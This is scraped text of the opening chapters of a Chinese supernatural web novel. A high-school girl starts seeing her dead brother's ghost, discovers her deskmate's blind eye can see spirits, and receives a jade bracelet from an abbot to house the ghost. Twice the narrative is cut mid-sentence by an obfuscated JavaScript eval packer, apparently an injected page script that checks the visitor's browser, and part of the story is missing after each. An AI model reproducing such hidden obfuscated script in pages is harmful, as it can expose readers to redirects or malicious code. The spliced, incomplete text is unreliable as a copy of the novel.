《饲诡者》 1. 第 1 章 九月,永夕一高。 “叮——” 夕阳西下,下课铃声准时敲响,安静的高中部教学楼顿时如往常一般炸开了锅。 学生们争先恐后往食堂赶去,走廊和楼梯间都站满了人,人声如潮,温茉走出教师办公室,怀里抱着一摞物理真题本和试卷。 她好不容易挤开人群走到走廊尾端的高二一班,看到同桌桑蓝站在教室门口饮水机前发呆,水满出去了都没察觉到。 温茉喊了她一声。 桑蓝顿时惊醒,手忙脚乱的抽出水卡,指尖却被热水烫到,她微弱惊叫一声,饮水机这时候却坏了,热水源源不断地从出水口喷涌而出。 看到她甚至想用手去堵,温茉赶忙喝止住,“别动!” 桑蓝神色惶惶,一脸无措惊慌地看着她,因为是混血人,她皮肤本就白皙,但此刻脸色却苍白的如同纸一般,往日淡淡血色的樱桃小嘴也泛着紫。 温茉将东西放到窗台上,走过去从她湿漉漉的冰凉指尖夺过水卡,来回刷了几次,饮水机嗡嗡两声,停了。 “卡槽有些接触不良,多刷几次就行。” 桑蓝低头,失落地看着湿掉的小皮鞋,“对不起,学委。” 温茉将水杯盖子合好,用袖子擦干净水渍塞进她手里,才道:“说对不起干什么?饮水机前天就坏了,你请假刚好不知道罢了。” 桑蓝的眉间的愁色这才褪去一些,轻轻地嗯了声。 又像往常一样将脸藏进厚重的褐色长发里了。 温茉心里叹了口气,她脸上带着关切:“身体怎么样?如果不舒服就多休息两天。” 桑蓝摇了摇头,忌讳地看了眼教室,低声道:“学委,我觉得同学们都不太对劲。” 这两天同学们是有点安静,但温茉没多想,揉了揉她的脑袋,开玩笑道:“也许都是被这次周考成绩打击道了?” “不是的。”桑蓝咬了咬嘴唇,露出的那只右眼盛满不安:“今天,宇文娇她们不仅没有来欺负我,还对我笑了。” 说着她浑身哆嗦一下。 桑蓝个头矮矮的,长相俏丽,眉宇间带着混血的深邃,家世也好,按理说不应该是受欺负的对象。 但她身上背着克死生母的骂名,又天生瞎了一只左眼,所以总是充满不自信,用厚厚的刘海将盲眼挡住,整日孤僻地坐在角落里。 自然也没什么朋友,久而久之就会被那种“班霸”欺负、勒索钱财。 温茉早有听过她的传闻,直到开学重新分班才认识她。 老师把两人安排成同桌,也有让温茉照顾着点桑蓝的意思。 思及此,温茉安慰她:“咱班主任刚教训过她们,不会有人再欺负你了。” 她笑着说:“正好,来帮我把作业发一下吧?” 说完不等她拒绝,温茉走进了教室。 同学们齐刷刷抬起了头,空气宁静得吓人,他们脸上都挂着淡淡的微笑,看着她。 她皱了皱眉,生疏地按照名字分发着作业,桑蓝抱着卷子跟在她身后,却突然尖叫一声,扔下东西跑出了教室。 温茉:…… 她看着满地的试卷简直没了脾气。 班长是个戴眼镜的秀气男生,高高瘦瘦的,他第一个蹲下身帮忙捡起试卷。 这像是一个信号,其他同学争先恐后地帮起了忙,甚至有为一张试卷差点大打出手的。 同学们还真是……有点奇怪。 温茉心底泛起淡淡的不适,刚好手机响了,她急着走,干脆拜托班长帮忙收拾一下,拎起书包离开了菜市场一样的教室。 在她走后,教室很快又安静下来。 许久,响起一声呢喃:“啊,太心急了吗……” * 跟其他高中生不一样,温茉不需要上晚自习,平常下课就回家。 但今天刚在后排系好安全带,主驾上的儒雅男人却说:“咱出去吃。” 温茉想起早上他提了一次的事,问:“爸,你们师生聚餐我去算什么。” 温玉成笑眯了眼,神神秘秘地从后视镜跟她对视:“什么算什么?你去了就知道了。” 温茉扶额:“我妈知道吗?” 羊雅芝脾气可不好,要是温茉没能在晚上8点前赶回家,她可是会扒了温玉成的皮的。 现在已经六点半了。 温玉成嘟囔:“今天她又加班,你别跟那个母老虎说不就好了。” 见他坚持,温茉也没有什么意见了,反正她胳膊拧不过大腿。 温玉成今年49岁了,是A城大学计算机学院的副院长,他平日里脾气温和又负责,深受学生们的喜爱。 当温家父女到达酒店包厢时,里面已经有一个男生在了。 见到服务生引导着两人进门,原本靠坐着椅子百无聊赖的男生立刻起身迎接。 “导,您来啦,我都等好久了。” 温玉成呵呵笑:“路上堵了一会。” 三人落座,菜一道道上好,服务员将门关好,把空间留给他们。 温茉好奇地打量着这个戴着鸭舌帽的男生,他皮肤黝黑,但长相非常俊俏阳光,五官立体,神情自信大方,休闲卫衣下的胸膛鼓鼓囊囊,肩膀也宽,双手很大,完全看不出是整天坐在电脑前敲代码的人。 更像是在篮球场尽情挥洒汗水,一手一个三分球的健将。 温玉成一一介绍,“这是我女儿温茉,今年高二,成绩可好了。” “这是小段,大学霸,是爸爸的博士生,别看今年才23岁,奖项拿得可不少。” 小段率先伸手:“你好,我叫段双双,经常听导师提到你。” 这么大只的黑皮男孩名字居然是叠字,有点莫名的可爱。 温茉礼貌地回握,颔首:“你好,久仰大名,爸爸老在家里夸你。” 互相认识后,气氛也算是热络了一些,在温玉成的撺掇下,两人还互加了好友。 他们边吃边聊家常,温玉成问:“双双啊,我最近听说……你在做什么兼职?” 段双双:“是,在朋友家拳馆当教练。”他露出一口大白牙:“攒攒钱。” 温玉成点点头,开口:“拳馆?打打杀杀的这多危险呀?当家教也比这好呀,干脆这样好了,你来给温茉辅导功课,我按照市场价的一倍给你开工资。” 温茉有些惊讶,爸爸就这么喜欢这个男生吗?平时那么抠的人居然能开出如此大方的条件。 段双双哭笑不得,连连摆手:“导儿,我去打拳是解压的,您可别再给我派任务了。” 温玉成一脸遗憾。 两人畅谈,温茉默默吃着,听着听着……温玉成一头栽桌子上了。 还好段双双手疾眼快扶着他,不然怕是要被餐具搞破相。 “导,导!”看着不省人事的温玉成,段双双快要被吓死,一直摇晃着他的肩膀。 “你买饮料时没注意吗?” 温茉擦了擦嘴:“别费力气了,我爸酒量奇差,沾不得一点酒精。” “我艹,我不知道啊。”段双双嚎:“这是果汁饮料啊,就含了一点点酒精!” 原来他导儿真不是假清高不参加各种庆功宴,而是真的另有隐情啊。 七点半了。 温茉看了眼时间,对他扬了扬下巴:“你会开车吗?” 段双双脸上皱成一团,有些为难:“我考完驾照就没摸过车了。” 温茉叹气:“哎。” 最后叫了代驾。 温茉去结账,段双双架着温玉成在旁边站着,不好意思地摸摸头:“sorry,让女士结账很不绅士,但我最近太穷了。” 温茉对他眨了眨眼:“没事,反正我用的亲情卡。” 代驾很快到了,段双双和温玉成坐在后面,温茉在副驾刷手机。 二十分钟后,车子进入小区停车库,段双双有些激动地说:“你们住这啊?太有缘了!我兄弟也住这!” 告别代驾师傅,温茉在前面带路,段双双扶着温玉成在后面,他自顾自喋喋不休着。 “就是我那开拳击馆的朋友,他家也在这里,隔壁2号楼305,他是个游戏主播,技术可好了,妹儿你要是需要让他带你飞……” 老小区没有电梯,三人只能爬楼梯,混乱的脚步回荡在楼道间,段双双哆嗦了一下,“怎么突然有点冷。” 温茉高他两个台阶,下意识回头,双眼却被他脖子上的光闪到。 “嘶。” 眼前一阵白光,紧接着针尖般的刺痛袭来,她立刻紧闭上眼,有些痛苦地弯下腰。 生理性眼泪把睫毛染得湿漉漉。 段双双一抬头,见刚还一脸冷漠的小姑娘捧着脸哭了,他有点懵:“你咋了?” 温茉:“被你脖子上的镜子闪到眼了。” “啊?”段双双低头看了看,“不是镜子,这是黑玉呀,不反光啊。” 他脖子上,红绳挂着的一块小孩手掌心大小的圆形黑玉暗得发沉,黑玉表面平整光滑,无任何雕刻凸起。 温茉感到眼球仍然有温热的灼烧感,她勉强睁开眼,摸着扶梯站起来。 段双双凑到她面前,关切道:“我看看,是不是进飞虫了,你们这虫子还不少。” 温茉摇晃了下脑袋,“不知道……我好了点,先回家吧。” 温家在3号楼401,两人搀扶着温玉成刚到四楼,迎面就撞上一个人。 “哎呦,吓我一跳。” 看清来人,温茉主动打招呼:“刘婶,又去跳广场舞呀。” 刘玉芬穿着一身粉白的长袖跳舞服,手里拿着把扇子,仔细看脸上还画了点淡妆。 她摇了摇扇子,一脸疑惑:“你们这是?” 段双双抢先开口:“刘婶,我是温教授的学生,他……” “行啦行啦。”刘玉芬摆了摆手:“别挡着,我还要去跳舞呢,哎,小茉啊,你今天怎么回来得这么晚。” 她边说边下楼梯,回声飘荡在层层楼道间:“刚好,一会小伙子帮我扔下门口垃圾——” 段双双:“额……”这阿姨也太自来熟了些。 温茉拧开房门,打开客厅的灯,“不用换鞋,把我爸扔沙发上就行。” 段双双虔诚地把他导放倒在沙发上,还把沙发巾扯下来给他盖好。 温家是三室一厅,阳台上种着许多花花草草,布局简单但处处透露着温馨。 温茉直奔卧室,她推开卫生间的门,打开水龙头洗了把脸。 冷水划过眼皮,消弱了些肿胀感,她扒开眼皮对着镜子,这才发现短短时间内,眼球已经布满了红血丝! 从眼眶四面八方延伸出密密麻麻蜿蜒的红血丝,尽数链接到隐隐渗血的黑眼球上,乍一看,那些红血丝如同蠕虫般扭曲浮动。 镜子里,她的背后出现一团模糊不清的黑影,像打了厚重马赛克的潦草涂鸦。 温茉有些慌张,被吓到后退一步,她使劲闭了下眼,镜子里她的双眸却又恢复了正常。 卫生间的暖光明亮,墙壁干净,镜子也没有脏污。 仿佛方才的一切都是她的错觉。 虽然眼球的痛感消失,但手心的掐痕还在,暗示着那些绝不仅仅是幻想,温茉抓起旁边的眼药水滴上两滴,决定明天去看看医生。 她拍了拍脸走出卧室。 段双双正捏着下巴津津有味地看着照片墙,转头看了她一眼:“真想不到,师母居然是警察吗?这么英姿飒爽,怪不得导这么惧内。” “嗯。”温茉打开冰箱,扔给他一瓶可乐,然后毫不客气地下达逐客令:“时间不早了,你回学校吗?我给你打车。 “不用。”段双双扶了下帽檐:“我去隔壁挤一晚。” “你一个女孩子在家,记得锁好门,电视上播报的凶杀案最近可多了。” “谢谢关心。” 寒暄两句后,段双双走了,还真顺手把隔壁邻居门口的垃圾带走了。 他走出3号楼,将垃圾扔掉后转了转肩膀。 奇怪,怎么楼内比外面还冷,老小区这么阴寒吗,嘶,脖子好痛…… 温茉站在窗前,看着段双双的身影消失后,她给温玉成盖了张毛毯,回房间洗了个温水澡。 差不多她刚吹完头发,羊雅芝就回来了,温茉在卧室擦头发,听到客厅羊雅芝把温玉成踹醒骂他。 “我打死你,又喝个烂醉回来。” “啊!我的老腰!你不是加班吗?” “回来拿东西……” “……” 过了会儿,羊雅芝来敲门:“茉茉,早点睡,明天周末你好好睡个懒觉,中午自己去楼下吃知道吗。” “好。”温茉隔着门告状:“妈,爸还没放弃给我介绍男朋友,今天又带我去见他学生了。” 羊雅芝大怒:“这个老不死的,今晚是没时间收拾他了,过几天我再家法处置。” 两秒后,她又八卦的问:“那男孩长得咋样?” 温茉:“还行,又黑又高,但看着感觉有点缺心眼。” 羊雅芝:“黑得那不行。” 温茉:“……” 羊雅芝的手机又响了,她接通又挂掉,急匆匆说:“行了,宝宝,那边抓到断手案嫌疑犯了,妈妈走了嗷。” 羊雅芝风风火火地甩上了门,温玉成估计又回卧室睡着了,温家重归平静。 温茉打开台灯,坐在书桌前刷题。 “滴滴。”手机响了两下。 桑蓝发来消息:温茉,下午的事对不起,我又犯病了。 温茉垂眸,手指头缓缓敲击键盘:没事。 桑蓝回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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温茉捧着脑袋的手发抖,声线有些不稳:“温布惊?” 鬼头咯咯笑了两声:“你看见我啦?” 小小的无头尸体在床上爬了个遍,终于摸到了温茉的手臂,它拍了拍她,取过脑袋,像安插灯泡一般对齐,摁下。 做好这一切后,小男鬼抱住温茉的脖子,冰凉的脸蛋贴着她,好奇地问:“妹妹,你死了吗?” 温茉看着它的头顶:“没有。” “哦,那你怎么能看到我呢?”它语气轻柔。 温茉:“不知道。”她问:“你是真实存在的吗?” 下一秒,顽强闪烁的灯泡在内部砰一声闷响后,彻底熄灭报废。 温布惊声音嘹亮:“是的呀,我一直跟你说话,你终于理我了!我好开心!” 温茉眼眶有些湿润,“你一直跟在我身边吗?” “没有。”温布惊很恨地说:“你上学,我就跟不了。” 它冰块般僵硬的小手摸上温茉的脸蛋,诱哄道:“不去学校,好不好。” 温茉没有一丝犹豫:“好。” 小男鬼欢呼了一声,激动的来回在屋里奔跑,月光如水般清亮,温茉清楚地看见,它的脑袋又掉了,咕噜噜在房间乱滚。 “妹妹!妹妹!变大的妹妹也是好妹妹!” 突然,温布惊的无头身体闪现到温茉怀里,像树袋熊般勒抱着她,脑袋在床底问: “妹妹,你怎么不害怕,你以前最怕鬼了。” 温茉回抱它犹如钢板般坚硬冰凉的尸体,勉强轻笑一声:“我已经长大了,大人都不怕的。” “哦……”脑袋嚷嚷着:“找不到身体了,妹妹,帮帮我。” 温茉抱着身体下床,在床头柜旁捡起了脑袋,她抬头,看到落地镜里自己惨白的脸和眼底些许的惊恐。 啊,原来我还是挺害怕的,她想。 温茉死死盯着落地镜,她问:“你怎么不投胎呢?” 温布惊可怖的小脸上露出一丝迷茫:“怎么投胎呀?” “……” 温茉松了一口气:“还以为你成小怨鬼了,专门来找我报仇的。” 她刚还在想要不要一拳打晕自己然后明天去找个大师驱鬼了。 不是都说再大的怨鬼也没办法伤害无意识的人吗,先挺过一晚再说。 温布惊呆呆地望着她,“我是好哥哥,哥哥是不会伤害妹妹的。” 温茉摸摸他触感像冻铁球般的脑袋:“你一直都是好哥哥,我最清楚了。” * 桑蓝在外很懦弱,但在家脾气不小,尤其起床气最大。 上午十点多,管家林姨把她叫醒:“小姐,你同学来了。” 得知来访者,桑蓝刚燃起的火顿时熄灭,她飞快地洗漱换衣,雀跃地跑下了楼。 客厅里,温茉正坐在沙发上,手里捧着杯橙汁,她今天穿了件绣着绿色小花朵图案的收腰白裙子,黑长发用发箍束到脑后,清爽利落好看极了。 桑蓝用手梳了梳头发,然后招手:“温茉!你怎么来了!” 其实她周末两天就想找温茉玩了,但打听到温茉下周三就要去参加数学竞赛,就没敢打扰,怕影响人家学习。 今天是周一,这位学霸居然没去上学反而来找她做什么? 但不管怎么样,桑蓝心里翻涌着一些喜悦,她克制地坐到温茉对面,将果盘朝那边推了推。 温茉轻轻捏着杯子,看橙黄的果汁泛起圈圈涟漪,她有些不好意思:“其实我昨晚给你发消息了,但一直没等到回复,今天贸然前来其实有些不太好。” “啊!”桑蓝尖叫一声,手忙脚乱打开手机滑动:“我没有看到!昨天我很早就睡了!” 她慌乱的像犯错了一样,拘谨的好像她才是那个客人,这反而让温茉紧张的情绪缓解了一些,压低声音诚恳道: “其实我来是想问问你视幻的事,实不相瞒,我觉得我也有了。” 温茉见到温布惊的鬼魂是在周五,她几乎熬了一整夜,直到天边泛起白肚皮才看着温布惊一点点消失。 周六和周日的夜晚,温布惊却再没出现了,但奇怪的是,早上温茉醒来,床头柜上有一行歪歪扭扭的血痕。 是温布惊的字迹,很稚嫩,内容是不要温茉去上学,不然他会孤独,不要拉开窗帘,不然它会生气。 温茉确实没去学校,而是直接来了桑蓝家,她其实挺想试试温布惊生气是什么下场,但终归旺盛的探索欲战胜了恶趣味。 号称一直视幻的桑蓝说不定能给温茉一些线索,她现在真的好奇极了,为什么她突然能看到鬼了,还是说她也患精神病了? 2. 第 2 章 听完温茉的讲述后,桑蓝沉默两秒,总结道:“你是说,你死去多年的哥哥变成鬼缠着你,然后还不许你上学?” 温茉点点头。 桑蓝正色道:“学委,厌学是很正常的一件事。” 温茉:…… “不是。”她也有些无奈:“它觉得我去上学自己一只鬼在家比较无聊孤独。” 桑蓝附和:“那你哥哥鬼还挺霸道的。” 温茉握住她的双手,“我说的都是真的,你可以去我家看,床头柜上的血字还在。” “手机拍不出来。” 桑蓝就跟着温茉回家了,她一脸迷茫地盯着床头柜,“哪呢?” 温茉指着白色床头那处深红:“这里。” 桑蓝抿了抿唇:“学委,虽然我很好欺负,但是请你别耍我,这上面明明干干净净。” 温茉:“我真的能看到,就跟你上次看到同学是死人但我看不出来一样。” “好吧,那你的鬼哥哥呢,它还在房子里吗?” “没有看到了。” 桑蓝叹了口气,拍了拍她的肩膀,语气轻柔:“温茉,要不我把药分你一点吧,进口药都挺贵的。” 温茉也有些怀疑自己:“发生这些匪夷所思的事情后,不知道为什么我第一个就想到你……” 她摇了摇脑袋,“不想了,刚好中午了,留下来吃饭吧,我新学了一道菜。” 桑蓝特别高兴地答应了,温茉在厨房炒菜,她就在客厅参观。 桑蓝随手拿起架子上一本相册集翻开。 第一页照片是非常明媚的彩色,看背景是在游乐场,上面是手挽着手吃棉花糖的两个小孩,两个大人站在他们身后笑着,气氛很是温馨。 她有些羡慕,一张张翻看过去,前面的照片都是些户外游玩照,但随着小男孩的身影消失,最后的照片只剩一家三口在室内本本正正的写真集。 她猝不及防翻到最后一页,跟一张黑白的遗照对视上。 那也许是小学入学照,穿着小西装的漂亮男孩笑得很甜美,嘴边有两个小酒窝,眼里充满朝气。 但小男孩表情太生动了,桑蓝有种被他注视的错觉,她心里有些不舒服,猛然合上了相册。 温茉刚好将饭做好,把碗筷摆放整齐后招呼着桑蓝。 桑蓝应了声,她手心有些出汗,就去卫生间洗了洗。 她今天走得匆忙,没有来得及给刘海做定型,看起来有些乱糟糟的,刚好置物架上有瓶定型喷雾,她拿起来摇晃两下,对着镜子一只手撩开斜刘海—— 一个阴森森的小小身影出现在镜子里,它就站在旁边,浑身湿漉漉,一双青白的小手高举着一颗脑袋。 那颗脑袋直至她的腰间,脸庞白惨惨的,嘴巴是刺目的红。 “啊!” 温茉听到卫生间里的惨叫,立刻赶了过去,只见桑蓝整个人软趴趴倒在地板上,已经陷入昏迷状态。 温布惊身体抱着脑袋,无辜地站在一旁,“她死了?” “……” 温茉将桑蓝抱到沙发上,猛掐她的人中,桑蓝刚睁眼,温布惊又使坏将脑袋递过去,她两眼一翻又要晕厥。 “鬼,有鬼……” 温茉一脸惊喜:“你看见了是不是?你能看见!” 桑蓝哆嗦着钻进温茉怀里,崩溃大哭:“救我!” 温茉:“它不会伤害你的!” “我要回家。”桑蓝哭哭啼啼地抬头,下秒愣住:“欸?没有了。” 温茉:“还在你旁边啊。” 桑蓝:“啊啊啊啊啊啊啊啊!”她起身恨不得夺门而出,被温茉从后抱住。 温茉觉得自己发现了什么,她撩起桑蓝遮住左眼的斜刘海。 桑蓝惊慌失色:“啊!” 放下斜刘海。 桑蓝表情松懈,哀求道:“让我走吧呜呜呜。” 撩开斜刘海。 “呜呜呜……”桑蓝浑身瘫软,倒进温茉怀里。 温茉激动地摇晃着她的肩膀,“你的左眼也太厉害了,这就是传说中的阴阳眼吧。” 桑蓝哭得梨花带雨,我见犹怜,好不容易止住悲伤惊恐,又开始打起哭嗝。 温茉递给她一杯温水,她接过,低头喝了两口,委屈道:“欺负人呜呜。” 温茉用手纸给她擦脸,难得有了点愧疚感:“抱歉,其实我刚看到也吓了一跳。” 她摆手:“但你放心!它不会伤害你的!它是个好鬼!” 桑蓝拉着裙摆,无助的犹如掉进狼群的羔羊,苦苦哀求:“让我回家吧求你了。” 她一只手死死捂住左眼,只觉得整个客厅就是鬼窝。 温茉一脸遗憾:“还没吃饭呢。” 桑蓝:“我要从这里跳下去!!!” 温茉:“行行行!” 由于桑蓝腿太软,只能由温茉把她抱下去,幸好温茉有健身的习惯,脸不红心不跳地把人公主抱下楼。 沐浴在阳光下,桑蓝嗓音发软:“我要多晒会。” 温茉拿出手机看了看:“为表歉意,我请你吃饭吧。” 这附近有家露天餐厅,口碑不错,但今天阳光暴晒还有点热,在外面用餐的人不是很多。 两人坐在露台最中间,桑蓝晒了好一会儿太阳,脸上才浮现出血色,她一脸心神不宁,不停地喝着水。 温茉尝了两口牛排,直奔主题:“你以前都没发现左眼的妙用吗? “秒用?”桑蓝一脸呆滞地看着她:“这有什么好妙的?我现在恨不得一辈子戴眼罩。” 温茉想了一下,扑哧笑出声:“嗯,那还挺酷的。” 桑蓝有点心梗,还忘不掉刚才的惊悚画面,她好想穿越回一小时前,锁也要把自己锁在家里! 别跟温茉这个可怕的女人走! 在桑蓝的心中,温茉温柔优雅的形象一去不复返,现在的她,犹如披着天使皮的魔鬼! 温茉浅浅笑了一下,桑蓝抖得更厉害了,战战兢兢地环视四周,生怕刚那小鬼又出现。 桑蓝勉强吃两口饭,然后说:“吃了这顿饭,咱们就此别过吧,我要飞去赤道冷静一下。” “哈哈哈。”温茉手撑着下巴,眨巴着眼:“对付恐惧最好的方法就是直面它啊,逃避解决不了问题。” 桑蓝嘴哆嗦着,牙齿打战,右眼又闪起泪花,她哭诉:“温茉,你把我毁了,我没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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桑蓝被无语到了,心里的恐慌彻底褪去,她道:“被光闪到眼?我不知道该说什么了,这也太草率了。” 温茉:“当时我的眼睛红得滴血,其实挺吓人的。” 桑蓝愤恨道:“那也没有我见到你分头行动的哥吓人!” “哈哈哈。”温茉笑了笑:“桑蓝,你现在活泼多了。” 桑蓝:“我是应激了,你该祈祷我没有心脏病,不然你家就要成凶宅了。” 温茉无所谓:“反正鬼应该伤不到人,看我哥哥就知道了,最多吓到能看见它的人。” 桑蓝吐槽:“那我最近也被吓到太多次了,好像在学校那天我是被刘海扎了下眼然后撩了一下。” 温茉:“那确实挺吓——” 桑蓝回过味来了:“不对。” 她们对视着,相顾无言,最后温茉艰难地开口:“你确定,你那天看到的同学们都是……死人?” 这不可能,已知阴阳眼看见的是鬼,鬼怎么可能拥有实体而且表现得像正常人一样去上学!? 两秒后,桑蓝又缩成一团,她抱着脑袋一脸纠结:“我就、一闪而过一眼,然后同学们看起来都很恐怖,他们很惨白,有的七窍流血,我记不起来了。” “反正很吓人,仔细想想,简直像变异的怪物一样。” 大热天,两人硬生生惊出一身冷汗。 3. 第 3 章 想到当初班里那一幕,桑蓝情绪有些不好,只感觉淡淡的反胃感涌上心头。 她神情恹恹:“也许是我看花眼了,最近精神不太好。” 温茉颔首:“你一直在吃药吗?” 桑蓝:“对,我之前每晚都做噩梦,吃的大多是助眠安神和治疗神经衰弱的药,最近老是视幻,又加上了剂量更强的安定类药物。” 温茉安慰了她一会儿,话题又扯回到温布惊身上。 温茉只觉得温布惊很笨,当人的时候就呆呆的,死了连投胎都不会。 她放下手机:“网上说什么的都有,我不太信。果然还是要请高僧法师来。” 桑蓝拍了拍手:“请高僧?你这可问对人了!” 永夕市郊区的山上有座小庙,叫铜云寺,因为建得高加上供奉的只是几位土地公,所以名气不大。 这个温茉是知道的,现代的寺庙基本都是政府或者社会人士支持开设的,这个铜云寺,据说是从古代就一直传下来的。 小庙太老,经常需要修缮,位置在山顶,水电网之类的基础基建又不好处理,且铜云山就是座普通的山,没什么观赏性,单独为一座庙费力气不太划算。 大概十多年前,政府想让小寺庙迁,但那群和尚不同意,僵持了好久,当时羊雅芝作为执法中队长都费了不少心,经常在饭桌上提起,后来不知道怎么解决的,温茉也没问。 现在看来,原来是得到有钱人的资助了。 “我爸公司当初不是逆风翻盘了嘛,就想做点好人好事,机缘巧合之下支持了这寺庙一把,后来才知道里面有位很厉害的老和尚,我家干什么大事都要去问问他。” “你放心,我家可是vvvvvip,我肯定今天让你见着那老头。” 六百多米的山,桑蓝爬石阶累得气喘吁吁,不时擦擦额头的汗,温茉也没好到哪里去,等她们爬到山顶,都几乎是力竭的状态。 可奇怪的是,门口居然有位清瘦但眉眼端正的小和尚在等着了,一见到两人,他就双手合十上前。 “两位女施主,我带你们去找方丈。” 温茉和桑蓝对视一眼,桑蓝耸了耸肩:“我没提前联系,想着等到了给我爸打电话。” 她挤眉弄眼:“看吧,我就说那老头很厉害。” 温茉心里涌现一股期待。 铜云寺青砖白瓦,处处透着古朴,整个寺庙萦绕着淡淡的香火味,远远望去主殿里一群和尚在念经敲木鱼,院里间歇栽种着一些柏树和银杏,围墙上立着群叽喳的小鸟。 小和尚带着她们踩过厚厚的落叶,穿过几扇圆拱小门到达后院,直到一位坐在石桌上身披袈裟,闭目凝神的长眉老和尚面前。 方丈慈眉善目,气质沉稳而安宁,他睁开了眼,静静地注视着两人,透露出点点笑意。 小和尚退下了,方丈抬手:“请坐。” 温茉坐下,迫不及待问道:“听说方丈能看透很多事,又一副等待许久的样子,想必是知道我们前来是所为何事?” “阿弥陀佛。”方丈转了两下佛珠:“老衲能为小施主解疑。” 温茉看了眼桑蓝,可她一在外人面前就安静如鸡端坐着,只甩给温茉一个你自己看着办的眼神。 温茉:“我机缘巧合下有了阴阳眼,看见了我亡兄的鬼魂,他死的时候还是个孩子,没有犯下不可饶恕的罪孽,我想帮它超度投胎。” “实不相瞒,其实他死的时候家里就给他做过几场法事,但看来没什么用。” 方丈缓缓开口:“人和鬼皆在六道轮回中,它不想走,就不要强求,施主,有时候,做人不一定比做鬼好。” 温茉:“可……” 方丈打断她:“你们孽缘深重,注定是相生相伴的命运。施主,你想知道怎么饲养鬼吗?” 温茉:??? 桑蓝:!? 话题跳跃度这么大吗……不对,这话从老和尚嘴里说出来简直是礼崩乐坏,两人都震惊地睁大了眼,温茉好一会儿才找回声音,结结巴巴道: “这,我,老先生,您是被……夺舍了吗?” 方丈摸着胡子,呵呵笑了两声:“我佛不搞歧视,施主,要与时俱进啊。” “它不是恶鬼,你掌控它,正确运用它,去除恶鬼惩恶扬善,是能给它积攒阴德的。” 温茉有点精神恍惚,“养小鬼……听起来就很邪恶啊。” 桑蓝弱弱开口:“就我知道那些,娱乐圈里这么干的人最后都没有什么好下场的。” “欸。”方丈一脸温和:“他们是养恶鬼做恶事,必然遭到反噬。这位施主与其兄天生命运纠葛,只要不作恶就不碍事的。” 温茉和桑蓝相顾无言,都在艰难消化这番极有冲击力的话,这时方丈从善如流地从衣袖里拿出两个玉镯,放在桌子上。 “呵呵,这两块玉灵气浓郁,都可作为小鬼寄身之物,施主可择其一。” 两玉镯一青一黑,都色泽浓郁,细腻油润,看起来不掺一丝杂质,即使温茉不懂玉,也看出来这东西极其贵重。 她说:“不可以两块都要吗?”说着她心里盘算着自己的资产能不能一起拿下。 方丈:“施主莫贪心。” 桑蓝也来了点兴趣:“能封存鬼?有这种好东西?我也买一个。” 方丈摇了摇头:“镯子只等有缘人,不要强求。” 桑蓝有些失望,但也只能眼巴巴地看着。 两镯子看起来都很漂亮,温茉十分纠结,这时她突然想起了段双双脖子上那块黑玉,心念一动,伸手取过了黑色的。 温茉戴上,左看右看很满意,接着很俗地问:“多少钱?” 她的预算只有六十多万。 方丈:“一两块香火钱即可。” 温茉惊讶地看着他,随即道声好。 桑蓝一脸羡慕,鼓起勇气追问:“我真的不能拥有一块吗?” 方丈:“你没缘分。” 他说:“见到这玉,小鬼自然会往里钻。切记一定要行善事。” 温茉还是心存疑虑:“鬼能行什么善事?” 方丈只说:“你日后就知道了。” 交谈结束,小和尚又领着她们返回,经过主殿,温茉掏出手机却发现人家根本没贴二维码,只能把身上所有的纸币投入功德箱中。 下山的路途较为轻松,温茉摸着几乎白来的镯子,心情愉悦。 桑蓝在旁边说:“我现在不怎么害怕你哥哥了。” “我现在觉得它像宝可梦一样,还能被收服,这也太神奇了吧!” 温茉:“谁说不是呢。” 等她们回到温茉家的小区,已经是傍晚了,橙红的夕阳在地平线上投射最后一丝光芒,随后彻底消失。 桑蓝用厚厚的斜刘海挡住左眼,尽管小区路灯亮起,还有三两带小孩的、锻炼身体的居民在活动,她还是疑神疑鬼地抱着温茉的胳膊。 “你有看见鬼吗?” 温茉:“没有。” 桑蓝吐槽:“你们这小区也太暗了吧,路灯才那么大点。” 温茉:“那自然是比不上豪宅。” 两人说着,迎面走过来一行人,里面一人叫着温茉的名字,她抬头,脸上的笑僵硬两分。 “好巧啊!导孩!” 是段双双,他还是跟前几天一样帅气,唯一不同的是,今天他没戴帽子,露出一颗噌亮的光头。 也许是站的角度原因,温茉甚至觉得路灯的光都被他的头反射了,十分刺眼。 段双双旁边是个比他矮一些的年轻男生,微卷长发,黑眼圈很重,清瘦的脖子上挂着一副耳机和复杂的骷髅项链,整体像位文艺颓废青年。 但因为圆脸和长得圆润清秀的五官,看起来像是老实人学不良一样,更别提他嘴里抽着烟,眼睛却亮晶晶的,还透露着一丝憨厚。 段双双主动介绍:“欸!又遇到了!这位就是我死党,游戏主播,跟你提过的。” 温茉:“我认识,门口便利店老板的儿子。”印象中他好像是叫钱弓,寒暑假就窝在便利店打游戏看店。 钱弓将烟摁灭,一巴掌拍在段双双肩膀上,“我们住一个小区还用得着你介绍?” 段双双笑呵呵地摸着光头,“那敢情好啊,我们可真是太有缘分!” 温茉没忍住问:“你怎么剃了个光头啊。” 段双双:“我一直都是啊,只是经常戴帽儿。” 钱弓憋着笑,肩膀一耸一耸:“扑向段狗的妹子太多了,他试图cos出家人来躲避艳桃花。” 段双双给了他一肘击。 桑蓝一直很没存在感,直到胳膊被掐得有点疼,温茉这才想起她,她低头看了看,桑蓝一脸社恐的僵站着,双眼目视前方,目光却没有焦点,嘴巴抿的紧紧的。 看起来已经游神天外了。 温茉握住她的胳膊,介绍着:“这是我同桌桑蓝,她人很好的。” 桑蓝声若蚊蝇:“你们好。” “哇哦小妹妹你好。”钱弓朝她wink一下:“打游戏可以找我,我游戏主播风刀,免费包带飞的。” 段双双:“你好,名字很好听。” 桑蓝脸慢慢变红:“谢谢。”她对钱弓说:“我是你的粉丝,你狙击太准了。” “哎呀谢谢~”钱弓掏出手机吆喝:“相逢就是缘,加个好友吧大家,没事约着一起玩。” 几人互相加了好友,寒暄一番互相道别。 